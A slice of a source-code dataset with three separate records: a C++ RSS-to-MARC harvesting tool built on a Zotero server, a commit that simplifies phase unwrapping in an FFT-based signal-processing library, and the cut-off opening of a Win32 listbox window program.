should have received a copy of the GNU Affero General Public License\n *  along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <iostream>\n#include <cstring>\n#include \"DbConnection.h\"\n#include \"DbResultSet.h\"\n#include \"Downloader.h\"\n#include \"FileUtil.h\"\n#include \"IniFile.h\"\n#include \"SyndicationFormat.h\"\n#include \"util.h\"\n#include \"Zotero.h\"\n\n\nnamespace {\n\n\n[[noreturn]] void Usage() {\n    std::cerr << \"Usage: \" << ::progname\n              << \" [--verbose] [--proxy=<proxy_host_and_port>] rss_url_list_filename zts_server_url map_directory marc_output\\n\";\n    std::exit(EXIT_FAILURE);\n}\n\n\nunsigned ProcessSyndicationURL(const bool verbose, const std::string &url,\n                               const std::shared_ptr<Zotero::HarvestParams> harvest_params,\n                               const std::shared_ptr<const Zotero::HarvestMaps> harvest_maps,\n                               DbConnection * const db_connection)\n{\n    unsigned successfully_processed_count(0);\n\n    if (verbose)\n        std::cerr << \"Processing URL: \" << url << '\\n';\n\n    Downloader downloader(url);\n    if (downloader.anErrorOccurred()) {\n        WARNING(\"Download problem for \\\"\" + url + \"\\\": \" + downloader.getLastErrorMessage());\n        return successfully_processed_count;\n    }\n\n    std::string err_msg;\n    std::unique_ptr<SyndicationFormat> syndication_format(SyndicationFormat::Factory(downloader.getMessageBody(), &err_msg));\n    if (syndication_format == nullptr) {\n        WARNING(\"Problem parsing XML document for \\\"\" + url + \"\\\": \" + err_msg);\n        return successfully_processed_count;\n    }\n\n    std::cout << url << \" (\" << syndication_format->getFormatName() << \"):\\n\";\n    if (verbose) {\n        std::cout << \"\\tTitle: \" << syndication_format->getTitle() << '\\n';\n        std::cout << \"\\tLink: \" << syndication_format->getLink() << '\\n';\n        std::cout << \"\\tDescription: \" << syndication_format->getDescription() << '\\n';\n    }\n\n    for (const auto &item : *syndication_format) {\n        db_connection->queryOrDie(\"SELECT creation_datetime FROM rss WHERE server_url='\" + db_connection->escapeString(url)\n                                  + \"' AND item_id='\" + db_connection->escapeString(item.getId()) + \"'\");\n        DbResultSet result_set(db_connection->getLastResultSet());\n        if (not result_set.empty()) {\n            if (verbose) {\n                const DbRow first_row(result_set.getNextRow());\n                std::cout << \"Previously retrieved item w\/ ID \\\"\" << item.getId() + \"\\\" at \" << first_row[\"creation_datetime\"]\n                          << \".\\n\";\n            }\n            continue;\n        }\n\n        const std::string title(item.getTitle());\n        if (not title.empty() and verbose)\n            std::cout << \"\\t\\tTitle: \" << title << '\\n';\n        const std::unordered_map<std::string, std::string> &dc_and_prism_data(item.getDCAndPrismData());\n        if (dc_and_prism_data.empty()) {\n            const auto record_count_and_previously_downloaded_count(\n                Zotero::Harvest(item.getLink(), harvest_params, harvest_maps));\n            successfully_processed_count += record_count_and_previously_downloaded_count.first;\n        } else\n            ERROR(\"create a MARC record from the RSS DC and PRISM metadata!\");\n\n        db_connection->queryOrDie(\"INSERT INTO rss SET server_url='\" + db_connection->escapeString(url) + \"',item_id='\"\n                                  + db_connection->escapeString(item.getId()) + \"'\");\n\n    }\n\n    return successfully_processed_count;\n}\n\n\nvoid LoadServerURLs(const std::string &path, std::vector<std::string> * const server_urls) {\n    std::unique_ptr<File> input(FileUtil::OpenInputFileOrDie(path));\n    while (not input->eof()) {\n        std::string line;\n        input->getline(&line);\n        StringUtil::TrimWhite(&line);\n        if (not line.empty())\n            server_urls->emplace_back(line);\n    }\n}\n\n\nstd::string GetMarcFormat(const std::string &output_filename) {\n    if (StringUtil::EndsWith(output_filename, \".mrc\") or StringUtil::EndsWith(output_filename, \".marc\"))\n        return \"marc21\";\n    if (StringUtil::EndsWith(output_filename, \".xml\"))\n        return \"marcxml\";\n    ERROR(\"can't determine output format from MARC output filename \\\"\" + output_filename + \"\\\"!\");\n}\n\n\nconst std::string CONF_FILE_PATH(\"\/usr\/local\/var\/lib\/tuelib\/rss_client.conf\");\n\n\n} \/\/ unnamed namespace\n\n\nint main(int argc, char *argv[]) {\n    ::progname = argv[0];\n\n    if (argc < 5)\n        Usage();\n\n    bool verbose(false);\n    if (std::strcmp(argv[1], \"--verbose\") == 0) {\n        verbose = true;\n        --argc, ++argv;\n    }\n\n    std::string proxy_host_and_port;\n    const std::string PROXY_FLAG_PREFIX(\"--proxy=\");\n    if (StringUtil::StartsWith(argv[1], PROXY_FLAG_PREFIX)) {\n        proxy_host_and_port = argv[1] + PROXY_FLAG_PREFIX.length();\n        --argc, ++argv;\n    }\n\n    if (argc != 5)\n        Usage();\n\n    try {\n        std::vector<std::string> server_urls;\n        LoadServerURLs(argv[1], &server_urls);\n\n        std::shared_ptr<Zotero::HarvestParams> harvest_params(new Zotero::HarvestParams);\n        harvest_params->zts_server_url_ = Url(argv[2]);\n\n        std::string map_directory_path(argv[3]);\n        if (not StringUtil::EndsWith(map_directory_path, '\/'))\n            map_directory_path += '\/';\n\n        std::shared_ptr<Zotero::HarvestMaps> harvest_maps(Zotero::LoadMapFilesFromDirectory(map_directory_path));\n        const std::shared_ptr<RegexMatcher> supported_urls_regex(Zotero::LoadSupportedURLsRegex(map_directory_path));\n\n        const std::string PREVIOUSLY_DOWNLOADED_HASHES_PATH(map_directory_path + \"previously_downloaded.hashes\");\n        Zotero::PreviouslyDownloadedHashesManager previously_downloaded_hashes_manager(PREVIOUSLY_DOWNLOADED_HASHES_PATH,\n                                                                                       &harvest_maps->previously_downloaded_);\n        const std::string MARC_OUTPUT_FILE(argv[4]);\n        harvest_params->format_handler_ = Zotero::FormatHandler::Factory(GetMarcFormat(MARC_OUTPUT_FILE), MARC_OUTPUT_FILE,\n                                                                         harvest_maps, harvest_params);\n\n        const IniFile ini_file(CONF_FILE_PATH);\n        const std::string sql_database(ini_file.getString(\"Database\", \"sql_database\"));\n        const std::string sql_username(ini_file.getString(\"Database\", \"sql_username\"));\n        const std::string sql_password(ini_file.getString(\"Database\", \"sql_password\"));\n        DbConnection db_connection(sql_database, sql_username, sql_password);\n\n        harvest_params->format_handler_->prepareProcessing();\n\n        unsigned download_count(0);\n        for (const auto &server_url : server_urls)\n            download_count += ProcessSyndicationURL(verbose, server_url, harvest_params, harvest_maps, &db_connection);\n\n        harvest_params->format_handler_->finishProcessing();\n\n        logger->info(\"Extracted metadata from \" + std::to_string(download_count) + \" pages.\");\n    } catch (const std::exception &x) {\n        ERROR(\"caught exception: \" + std::string(x.what()));\n    }\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"fid_math.h\"\n\nnamespace fid \n{\n\nstd::vector<std::complex<double>> dsp::fft(const std::vector<double> &wf)\n{\n  \/\/ Grab some useful constants.\n  int N = wf.size();  \n  int n = N \/ 2 + 1;  \/\/ size of rfft\n  double Nroot = std::sqrt(N);\n\n  \/\/ Instantiate the result vector.\n  std::vector<std::complex<double>> fft_vec(n, 0.0);\n  auto wf_vec = wf; \/\/ copy waveform since fftw destroys it\n\n  \/\/ Plan and execute the fft.\n  fftw_plan wf_to_fft;\n  fftw_complex *fft_ptr = reinterpret_cast<fftw_complex *>(&fft_vec[0]);\n  wf_to_fft = fftw_plan_dft_r2c_1d(N, &wf_vec[0], fft_ptr, FFTW_ESTIMATE);\n  fftw_execute(wf_to_fft);\n  fftw_destroy_plan(wf_to_fft);\n\n  for (auto it = fft_vec.begin(); it != fft_vec.end(); ++it) {\n    *it \/= Nroot;\n  }\n\n  return fft_vec;\n}\n\nstd::vector<double> dsp::ifft(const std::vector<std::complex<double>>& fft)\n{\n  \/\/ Grab some useful constants.\n  int n = fft.size();\n  int N = 2 * (n - 1);\n  double Nroot = std::sqrt(N);\n\n  \/\/ Instantiate the result vector.\n  std::vector<double> ifft_vec(N, 0.0);\n  fftw_complex *fft_ptr = new fftw_complex[n];\n  memcpy(fft_ptr, &fft[0], sizeof(fftw_complex) * n);\n\n  \/\/ Plan and execute the fft.\n  fftw_plan fft_to_wf;\n  fft_to_wf = fftw_plan_dft_c2r_1d(N, fft_ptr, &ifft_vec[0], FFTW_ESTIMATE);\n  fftw_execute(fft_to_wf);\n  fftw_destroy_plan(fft_to_wf);\n\n  \/\/ fftw is unnormalized, so we need to fix that.\n  for (auto it = ifft_vec.begin(); it != ifft_vec.end(); ++it) {\n  \t*it \/= Nroot;\n  }\n\n  delete[] fft_ptr;\n\n  return ifft_vec;\n}\n\nstd::vector<double> dsp::hilbert(const std::vector<double>& wf)\n{\n\t\/\/ Return the call to the fft version.\n\tauto fft_vec = dsp::fft(wf);\n\n  \/\/ Multiply in the -i.\n  for (auto it = fft_vec.begin(); it != fft_vec.end(); ++it) {\n    *it = std::complex<double>((*it).imag(), -(*it).real());\n  }\n\n  \/\/ Reverse the fft.\n  return ifft(fft_vec);\n}\n\nstd::vector<double> dsp::psd(const std::vector<double>& wf)\n{\n  \/\/ Perform fft on the original data.\n\tauto fft_vec = dsp::fft(wf);\n\n  \/\/ Get the norm of the fft as that is the power.\n\treturn dsp::norm(fft_vec);\n}\n\nstd::vector<double> dsp::norm(const std::vector<double>& wf)\n{\n  \/\/ Allocate the memory\n  std::vector<double> res;\n  res.reserve(wf.size());\n\n  \/\/ Iterate and push back the norm.\n  for (auto it = wf.begin(); it < wf.end(); ++it) {\n    res.push_back(std::norm(*it));\n  }\n\n  return res;\n}\n\nstd::vector<double> dsp::norm(const std::vector<std::complex<double>>& wf)\n{\n  \/\/ Allocate the memory\n  std::vector<double> res;\n  res.reserve(wf.size());\n\n  \/\/ Iterate and push back the norm.\n  for (auto it = wf.begin(); it < wf.end(); ++it) {\n    res.push_back(std::norm(*it));\n  }\n\n  return res;\n}\n\n\/\/ Helper function to get frequencies for FFT\nstd::vector<double> dsp::fftfreq(const std::vector<double>& tm) \n{\n\tint N = tm.size();\n\tdouble dt = (tm[N-1] - tm[0]) \/ (N - 1); \/\/ sampling rate\n\n\treturn dsp::fftfreq(N, dt);\n}\n\nstd::vector<double> dsp::fftfreq(const int N, const double dt)\n{\n\t\/\/ Instantiate return vector.\n\tstd::vector<double> freq;\n\n\t\/\/ Handle both even and odd cases properly.\n\tif (N % 2 == 0) {\n\n\t\tfreq.resize(N\/2 + 1);\n\t\t\n\t\tfor (int i = 0; i < freq.size(); ++i) {\n\t\t\tfreq[i] = i \/ (dt * N);\n\t\t}\n\n\t} else {\n\n\t\tfreq.resize((N + 1) \/ 2);\n\n\t\tfor (int i = 0; i < freq.size(); ++i){\n\t\t\tfreq[i] = i \/ (dt * N);\n\t\t}\n\t}\n\n\treturn freq;\n}\n\n\/\/ Calculates the phase by assuming the real signal is harmonic.\nstd::vector<double> dsp::phase(const std::vector<double>& wf)\n{\n\treturn dsp::phase(wf, dsp::hilbert(wf));\n}\n\nstd::vector<double> dsp::phase(const std::vector<double>& wf_re, \n                               const std::vector<double>& wf_im)\n{\n  std::vector<double> phase(wf_re.size(), 0.0);\n  \n  \/\/ Calculate the modulo-ed phase\n  std::transform(wf_re.begin(), wf_re.end(), wf_im.begin(), phase.begin(),\n                 [](double re, double im) { return std::atan2(im, re); });\n  \n  \/\/ Now unwrap the phase\n  double thresh = params::max_phase_jump;\n  double m_avg = 0.0;\n  double m_std = 0.0;\n  double m = 0.0;\n  double a = 0.001;\n  bool phase_trend = false;\n\n  int k = 0; \/\/ to track the winding number\n  for (auto it = phase.begin() + 1; it != phase.end(); ++it) {\n    \n    \/\/ Add current total\n    *it += k * kTau;\n    m = *(it) - *(it - 1);\n    \n    \/\/ Check for large jumps, both positive and negative.\n    while (std::abs(m) > thresh) {\n      \n      if (-m > thresh) {\n        \n        if (m + kTau > thresh) {\n          std::cout << \"Warning: jump over threshold.\" << std::endl;\n          break;\n        }\n        \n        k++;\n        *it += kTau;\n        \n      } else if (m > thresh) {\n        \n        if (m - kTau < -thresh) {\n          std::cout << \"Warning: jump over threshold.\" << std::endl;\n          break;\n        }\n        \n        k--;\n        *it -= kTau;\n      }\n\n      m = *(it) - *(it - 1);\n    }\n    \n    \/\/ Recalculate slope.\n    m = *(it) - *(it - 1);\n\n    \/\/ Check against the slope of the last few points for outliers\n    if (phase_trend) {\n      if (m > 3.0 * m_avg) {\n\n        k--;\n        *it -= kTau;\n        \n      } else if (m < -2.0 * m_avg) {\n        \n        k++;\n        *it += kTau;\n      }\n    }\n    \n    \/\/ Compute the exponential moving average\n    if (!phase_trend && (std::abs(k) > 5)) {\n      m_avg = a * (*it - *(it - 1)) + (1 - a) * m_avg;\n      m_std = a * (m - m_avg) + (1 - a) * m_std;\n      \n      if (std::abs(m_avg) > 15.0 * std::abs(m_std)) {\n        m_avg = *it - *(it - 1);\n        phase_trend = true;\n      }\n      \n    } else {\n      \n      m_avg = a * (*it - *(it - 1)) + (1 - a) * m_avg;\n    }\n  }\n  \n  return phase;\n}\n\nstd::vector<double> dsp::envelope(const std::vector<double>& wf)\n{\n\treturn dsp::envelope(wf, dsp::hilbert(wf));\n}\n\nstd::vector<double> dsp::envelope(const std::vector<double>& wf_re, const std::vector<double>& wf_im)\n{\n \t\/\/ Set the envelope function\n\tstd::vector<double> env(wf_re.size(), 0.0);\n\n\tstd::transform(wf_re.begin(), wf_re.end(), wf_im.begin(), env.begin(),\n    \t\t\t   [](double r, double i) { return std::sqrt(r*r + i*i); });\n\n\treturn env;\n}\n\narma::cx_mat dsp::wvd_cx(const std::vector<double>& wf, bool upsample)\n{\n  int M, N;\n  if (upsample) {\n\n    M = 2 * wf.size();\n    N = wf.size();\n\n  } else {\n\n    M = wf.size();\n    N = wf.size();\n  }\n\n  \/\/ Initiate the return matrix\n  arma::cx_mat res(M, N, arma::fill::zeros);\n\n  \/\/ Artificially double the sampling rate by repeating each sample.\n  std::vector<double> wf_re(M, 0.0);\n\n  auto it1 = wf_re.begin();\n  for (auto it2 = wf.begin(); it2 != wf.end(); ++it2) {\n    *(it1++) = *it2;\n    if (upsample) {\n      *(it1++) = *it2;\n    }\n  }\n\n  \/\/ Make the signal harmonic\n  arma::cx_vec v(M);\n  arma::vec phase(M);\n\n  auto wf_im = dsp::hilbert(wf_re);\n\n  for (uint i = 0; i < M; ++i) {\n    v[i] = arma::cx_double(wf_re[i], wf_im[i]);\n    phase[i] = (1.0 * i) \/ M * M_PI;\n  }\n\n  \/\/ Now compute the Wigner-Ville Distribution\n  for (int idx = 0; idx < N; ++idx) {\n    res.col(idx) = arma::fft(dsp::rconvolve(v, idx));\n    \/\/    res.col(idx) = res.col(idx) % (arma::cos(phase * idx) + 1j * arma::sin(phase * idx));\n  }\n\n  return res;\n}\n\narma::mat dsp::wvd(const std::vector<double>& wf, bool upsample)\n{\n  int M, N;\n  if (upsample) {\n\n    M = 2 * wf.size();\n    N = wf.size();\n\n  } else {\n\n    M = wf.size();\n    N = wf.size();\n  }\n\n  \/\/ Instiate the return matrix\n  arma::mat res(M, N, arma::fill::zeros);\n\n  \/\/ Artificially double the sampling rate by repeating each sample.\n  std::vector<double> wf_re(M, 0.0);\n\n  auto it1 = wf_re.begin();\n  for (auto it2 = wf.begin(); it2 != wf.end(); ++it2) {\n    *(it1++) = *it2;\n    if (upsample) {\n      *(it1++) = *it2;\n    }\n  }\n\n  \/\/ Make the signal harmonic\n  arma::cx_vec v(M);\n\n  auto wf_im = dsp::hilbert(wf_re);\n\n  for (int i = 0; i < M; ++i) {\n    v[i] = arma::cx_double(wf_re[i], wf_im[i]);\n  }\n\n  \/\/ Now compute the Wigner-Ville Distribution\n  for (int idx = 0; idx < N; ++idx) {\n    res.col(idx) = arma::real(arma::fft(dsp::rconvolve(v, idx))) ;\n  }\n\n  return res;\n}\n\nstd::vector<double> dsp::savgol3(const std::vector<double>& wf)\n{\n  std::vector<double> res(0, wf.size());\n  std::vector<double> filter = {-2.0, 3.0, 6.0, 7.0, 6.0, 3.0, -2.0};\n  filter = (1.0 \/ 21.0) * filter;\n\n  if (dsp::convolve(wf, filter, res) == 0) {\n\n    return res;\n\n  } else {\n\n    return wf;\n  }\n}\n\nstd::vector<double> dsp::savgol5(const std::vector<double>& wf)\n{\n  std::vector<double> res(0, wf.size());\n  std::vector<double> filter = {15.0, -55.0, 30.0, 135.0, 179.0, 135.0, 30.0, -55.0, 15.0};\n  filter = (1.0 \/ 429.0) * filter;\n\n  if (dsp::convolve(wf, filter, res) == 0) {\n\n    return res;\n\n  } else {\n\n    return wf;\n  }\n}\n\nint dsp::convolve(const std::vector<double>& wf, const std::vector<double>& filter, std::vector<double>& res)\n{\n  int k = filter.size();\n  int N = wf.size();\n  res.resize(N);\n\n  \/\/ Check to make sure we can do something.\n  if (N < k) {\n    return -1;\n  }\n\n  \/\/ First take care of the beginning and end.\n  for (int i = 0; i < k + 1; ++i) {\n    res[i] = 0.0;\n    res[N -1 - i] = 0.0;\n\n    for (int j = i; j < i + k; ++j) {\n\n      res[i] += wf[abs(j - k\/2)] * filter[j - i];\n      res[N - 1 - i] += wf[N - 1 - abs(k\/2 - j)] * filter[j - i];\n    }\n  }\n\n  \/\/ Now the rest of the elements.\n  for (auto it = wf.begin(); it != wf.end() - k; ++it) {\n    double val = std::inner_product(it, it + k, filter.begin(), 0.0);\n    res[std::distance(wf.begin(), it + k\/2)] = val;\n  }\n\n  return 0;\n}\n\nstd::vector<double> dsp::convolve(const std::vector<double>& wf, const std::vector<double>& filter)\n{\n  std::vector<double> res(0.0, wf.size());\n\n  if (dsp::convolve(wf, filter, res) == 0) {\n\n    return res;\n\n  } else {\n\n    return wf;\n  }\n}\n \n} \/\/ ::fid\n<commit_msg>Updated phase unwrapping to be simpler.<commit_after>#include \"fid_math.h\"\n\nnamespace fid \n{\n\nstd::vector<std::complex<double>> dsp::fft(const std::vector<double> &wf)\n{\n  \/\/ Grab some useful constants.\n  int N = wf.size();  \n  int n = N \/ 2 + 1;  \/\/ size of rfft\n  double Nroot = std::sqrt(N);\n\n  \/\/ Instantiate the result vector.\n  std::vector<std::complex<double>> fft_vec(n, 0.0);\n  auto wf_vec = wf; \/\/ copy waveform since fftw destroys it\n\n  \/\/ Plan and execute the fft.\n  fftw_plan wf_to_fft;\n  fftw_complex *fft_ptr = reinterpret_cast<fftw_complex *>(&fft_vec[0]);\n  wf_to_fft = fftw_plan_dft_r2c_1d(N, &wf_vec[0], fft_ptr, FFTW_ESTIMATE);\n  fftw_execute(wf_to_fft);\n  fftw_destroy_plan(wf_to_fft);\n\n  for (auto it = fft_vec.begin(); it != fft_vec.end(); ++it) {\n    *it \/= Nroot;\n  }\n\n  return fft_vec;\n}\n\nstd::vector<double> dsp::ifft(const std::vector<std::complex<double>>& fft)\n{\n  \/\/ Grab some useful constants.\n  int n = fft.size();\n  int N = 2 * (n - 1);\n  double Nroot = std::sqrt(N);\n\n  \/\/ Instantiate the result vector.\n  std::vector<double> ifft_vec(N, 0.0);\n  fftw_complex *fft_ptr = new fftw_complex[n];\n  memcpy(fft_ptr, &fft[0], sizeof(fftw_complex) * n);\n\n  \/\/ Plan and execute the fft.\n  fftw_plan fft_to_wf;\n  fft_to_wf = fftw_plan_dft_c2r_1d(N, fft_ptr, &ifft_vec[0], FFTW_ESTIMATE);\n  fftw_execute(fft_to_wf);\n  fftw_destroy_plan(fft_to_wf);\n\n  \/\/ fftw is unnormalized, so we need to fix that.\n  for (auto it = ifft_vec.begin(); it != ifft_vec.end(); ++it) {\n  \t*it \/= Nroot;\n  }\n\n  delete[] fft_ptr;\n\n  return ifft_vec;\n}\n\nstd::vector<double> dsp::hilbert(const std::vector<double>& wf)\n{\n\t\/\/ Return the call to the fft version.\n\tauto fft_vec = dsp::fft(wf);\n\n  \/\/ Multiply in the -i.\n  for (auto it = fft_vec.begin(); it != fft_vec.end(); ++it) {\n    *it = std::complex<double>((*it).imag(), -(*it).real());\n  }\n\n  \/\/ Reverse the fft.\n  return ifft(fft_vec);\n}\n\nstd::vector<double> dsp::psd(const std::vector<double>& wf)\n{\n  \/\/ Perform fft on the original data.\n\tauto fft_vec = dsp::fft(wf);\n\n  \/\/ Get the norm of the fft as that is the power.\n\treturn dsp::norm(fft_vec);\n}\n\nstd::vector<double> dsp::norm(const std::vector<double>& wf)\n{\n  \/\/ Allocate the memory\n  std::vector<double> res;\n  res.reserve(wf.size());\n\n  \/\/ Iterate and push back the norm.\n  for (auto it = wf.begin(); it < wf.end(); ++it) {\n    res.push_back(std::norm(*it));\n  }\n\n  return res;\n}\n\nstd::vector<double> dsp::norm(const std::vector<std::complex<double>>& wf)\n{\n  \/\/ Allocate the memory\n  std::vector<double> res;\n  res.reserve(wf.size());\n\n  \/\/ Iterate and push back the norm.\n  for (auto it = wf.begin(); it < wf.end(); ++it) {\n    res.push_back(std::norm(*it));\n  }\n\n  return res;\n}\n\n\/\/ Helper function to get frequencies for FFT\nstd::vector<double> dsp::fftfreq(const std::vector<double>& tm) \n{\n\tint N = tm.size();\n\tdouble dt = (tm[N-1] - tm[0]) \/ (N - 1); \/\/ sampling rate\n\n\treturn dsp::fftfreq(N, dt);\n}\n\nstd::vector<double> dsp::fftfreq(const int N, const double dt)\n{\n\t\/\/ Instantiate return vector.\n\tstd::vector<double> freq;\n\n\t\/\/ Handle both even and odd cases properly.\n\tif (N % 2 == 0) {\n\n\t\tfreq.resize(N\/2 + 1);\n\t\t\n\t\tfor (int i = 0; i < freq.size(); ++i) {\n\t\t\tfreq[i] = i \/ (dt * N);\n\t\t}\n\n\t} else {\n\n\t\tfreq.resize((N + 1) \/ 2);\n\n\t\tfor (int i = 0; i < freq.size(); ++i){\n\t\t\tfreq[i] = i \/ (dt * N);\n\t\t}\n\t}\n\n\treturn freq;\n}\n\n\/\/ Calculates the phase by assuming the real signal is harmonic.\nstd::vector<double> dsp::phase(const std::vector<double>& wf)\n{\n\treturn dsp::phase(wf, dsp::hilbert(wf));\n}\n\nstd::vector<double> dsp::phase(const std::vector<double>& wf_re, \n                               const std::vector<double>& wf_im)\n{\n  std::vector<double> phase(wf_re.size(), 0.0);\n  \n  \/\/ Calculate the modulo-ed phase\n  std::transform(wf_re.begin(), wf_re.end(), wf_im.begin(), phase.begin(),\n                 [](double re, double im) { return std::atan2(im, re); });\n  \n  \/\/ Now unwrap the phase\n  double thresh = params::max_phase_jump;\n  double m_avg = 0.0;\n  double m_std = 0.0;\n  double m = 0.0;\n  double a = 0.001;\n  bool phase_trend = false;\n\n  int k = 0; \/\/ to track the winding number\n  for (auto it = phase.begin() + 1; it != phase.end(); ++it) {\n    \n    \/\/ Add current total\n    *it += k * kTau;\n    m = *(it) - *(it - 1);\n    \n    \/\/ Check for large jumps, both positive and negative.\n    while (std::abs(m) > thresh) {\n      \n      if (-m > thresh) {\n        \n        if (m + kTau > thresh) {\n          std::cout << \"Warning: jump over threshold.\" << std::endl;\n          break;\n        }\n        \n        k++;\n        *it += kTau;\n        \n      } else if (m > thresh) {\n        \n        if (m - kTau < -thresh) {\n          std::cout << \"Warning: jump over threshold.\" << std::endl;\n          break;\n        }\n        \n        k--;\n        *it -= kTau;\n      }\n\n      m = *(it) - *(it - 1);\n    }\n    \n    \/\/ \/\/ Recalculate slope.\n    \/\/ m = *(it) - *(it - 1);\n\n    \/\/ \/\/ Check against the slope of the last few points for outliers\n    \/\/ if (phase_trend) {\n    \/\/   if (m > 3.0 * m_avg) {\n\n    \/\/     k--;\n    \/\/     *it -= kTau;\n        \n    \/\/   } else if (m < -2.0 * m_avg) {\n        \n    \/\/     k++;\n    \/\/     *it += kTau;\n    \/\/   }\n    \/\/ }\n    \n    \/\/ \/\/ Compute the exponential moving average\n    \/\/ if (!phase_trend && (std::abs(k) > 15)) {\n    \/\/   m_avg = a * (*it - *(it - 1)) + (1 - a) * m_avg;\n    \/\/   m_std = a * (m - m_avg) + (1 - a) * m_std;\n      \n    \/\/   if (std::abs(m_avg) > 10.0 * std::abs(m_std)) {\n    \/\/     m_avg = *it - *(it - 1);\n    \/\/     phase_trend = true;\n    \/\/   }\n      \n    \/\/ } else {\n      \n    \/\/   m_avg = a * (*it - *(it - 1)) + (1 - a) * m_avg;\n    \/\/ }\n  }\n  \n  return phase;\n}\n\nstd::vector<double> dsp::envelope(const std::vector<double>& wf)\n{\n\treturn dsp::envelope(wf, dsp::hilbert(wf));\n}\n\nstd::vector<double> dsp::envelope(const std::vector<double>& wf_re, const std::vector<double>& wf_im)\n{\n \t\/\/ Set the envelope function\n\tstd::vector<double> env(wf_re.size(), 0.0);\n\n\tstd::transform(wf_re.begin(), wf_re.end(), wf_im.begin(), env.begin(),\n    \t\t\t   [](double r, double i) { return std::sqrt(r*r + i*i); });\n\n\treturn env;\n}\n\narma::cx_mat dsp::wvd_cx(const std::vector<double>& wf, bool upsample)\n{\n  int M, N;\n  if (upsample) {\n\n    M = 2 * wf.size();\n    N = wf.size();\n\n  } else {\n\n    M = wf.size();\n    N = wf.size();\n  }\n\n  \/\/ Initiate the return matrix\n  arma::cx_mat res(M, N, arma::fill::zeros);\n\n  \/\/ Artificially double the sampling rate by repeating each sample.\n  std::vector<double> wf_re(M, 0.0);\n\n  auto it1 = wf_re.begin();\n  for (auto it2 = wf.begin(); it2 != wf.end(); ++it2) {\n    *(it1++) = *it2;\n    if (upsample) {\n      *(it1++) = *it2;\n    }\n  }\n\n  \/\/ Make the signal harmonic\n  arma::cx_vec v(M);\n  arma::vec phase(M);\n\n  auto wf_im = dsp::hilbert(wf_re);\n\n  for (uint i = 0; i < M; ++i) {\n    v[i] = arma::cx_double(wf_re[i], wf_im[i]);\n    phase[i] = (1.0 * i) \/ M * M_PI;\n  }\n\n  \/\/ Now compute the Wigner-Ville Distribution\n  for (int idx = 0; idx < N; ++idx) {\n    res.col(idx) = arma::fft(dsp::rconvolve(v, idx));\n    \/\/    res.col(idx) = res.col(idx) % (arma::cos(phase * idx) + 1j * arma::sin(phase * idx));\n  }\n\n  return res;\n}\n\narma::mat dsp::wvd(const std::vector<double>& wf, bool upsample)\n{\n  int M, N;\n  if (upsample) {\n\n    M = 2 * wf.size();\n    N = wf.size();\n\n  } else {\n\n    M = wf.size();\n    N = wf.size();\n  }\n\n  \/\/ Instiate the return matrix\n  arma::mat res(M, N, arma::fill::zeros);\n\n  \/\/ Artificially double the sampling rate by repeating each sample.\n  std::vector<double> wf_re(M, 0.0);\n\n  auto it1 = wf_re.begin();\n  for (auto it2 = wf.begin(); it2 != wf.end(); ++it2) {\n    *(it1++) = *it2;\n    if (upsample) {\n      *(it1++) = *it2;\n    }\n  }\n\n  \/\/ Make the signal harmonic\n  arma::cx_vec v(M);\n\n  auto wf_im = dsp::hilbert(wf_re);\n\n  for (int i = 0; i < M; ++i) {\n    v[i] = arma::cx_double(wf_re[i], wf_im[i]);\n  }\n\n  \/\/ Now compute the Wigner-Ville Distribution\n  for (int idx = 0; idx < N; ++idx) {\n    res.col(idx) = arma::real(arma::fft(dsp::rconvolve(v, idx))) ;\n  }\n\n  return res;\n}\n\nstd::vector<double> dsp::savgol3(const std::vector<double>& wf)\n{\n  std::vector<double> res(0, wf.size());\n  std::vector<double> filter = {-2.0, 3.0, 6.0, 7.0, 6.0, 3.0, -2.0};\n  filter = (1.0 \/ 21.0) * filter;\n\n  if (dsp::convolve(wf, filter, res) == 0) {\n\n    return res;\n\n  } else {\n\n    return wf;\n  }\n}\n\nstd::vector<double> dsp::savgol5(const std::vector<double>& wf)\n{\n  std::vector<double> res(0, wf.size());\n  std::vector<double> filter = {15.0, -55.0, 30.0, 135.0, 179.0, 135.0, 30.0, -55.0, 15.0};\n  filter = (1.0 \/ 429.0) * filter;\n\n  if (dsp::convolve(wf, filter, res) == 0) {\n\n    return res;\n\n  } else {\n\n    return wf;\n  }\n}\n\nint dsp::convolve(const std::vector<double>& wf, const std::vector<double>& filter, std::vector<double>& res)\n{\n  int k = filter.size();\n  int N = wf.size();\n  res.resize(N);\n\n  \/\/ Check to make sure we can do something.\n  if (N < k) {\n    return -1;\n  }\n\n  \/\/ First take care of the beginning and end.\n  for (int i = 0; i < k + 1; ++i) {\n    res[i] = 0.0;\n    res[N -1 - i] = 0.0;\n\n    for (int j = i; j < i + k; ++j) {\n\n      res[i] += wf[abs(j - k\/2)] * filter[j - i];\n      res[N - 1 - i] += wf[N - 1 - abs(k\/2 - j)] * filter[j - i];\n    }\n  }\n\n  \/\/ Now the rest of the elements.\n  for (auto it = wf.begin(); it != wf.end() - k; ++it) {\n    double val = std::inner_product(it, it + k, filter.begin(), 0.0);\n    res[std::distance(wf.begin(), it + k\/2)] = val;\n  }\n\n  return 0;\n}\n\nstd::vector<double> dsp::convolve(const std::vector<double>& wf, const std::vector<double>& filter)\n{\n  std::vector<double> res(0.0, wf.size());\n\n  if (dsp::convolve(wf, filter, res) == 0) {\n\n    return res;\n\n  } else {\n\n    return wf;\n  }\n}\n \n} \/\/ ::fid\n<|endoftext|>"}
{"text":"<commit_before>\/\/ g++ -Wall -Wextra -std=c++17 -mwindows activity_monitor.cpp -lcomctl32 -lole32 -o activity_monitor.exe\n\n#define STRICT\n#include <windows.h>\n#include <windowsx.h>\n#include <ole2.h>\n#include <commctrl.h>\n#include <shlwapi.h>\n#include <strsafe.h>\n\nconstexpr UINT_PTR IDT_TIMER1 = 1;\n\nHINSTANCE g_hinst;                          \/* This application's HINSTANCE *\/\nHWND g_hwndChild;                           \/* Optional child window *\/\n\/*\n *  OnSize\n *      If we have an inner child, resize it to fit.\n *\/\nvoid\nOnSize([[maybe_unused]] HWND hwnd, [[maybe_unused]] UINT state, int cx, int cy)\n{\n    if (g_hwndChild) {\n        MoveWindow(g_hwndChild, 0, 0, cx, cy, TRUE);\n    }\n}\n\/*\n *  OnCreate\n *      Applications will typically override this and maybe even\n *      create a child window.\n *\/\nBOOL\nOnCreate(HWND hwnd, [[maybe_unused]] LPCREATESTRUCT lpcs)\n{\n  g_hwndChild = CreateWindow(TEXT(\"listbox\"), NULL,\n      LBS_HASSTRINGS | WS_CHILD | WS_VISIBLE | 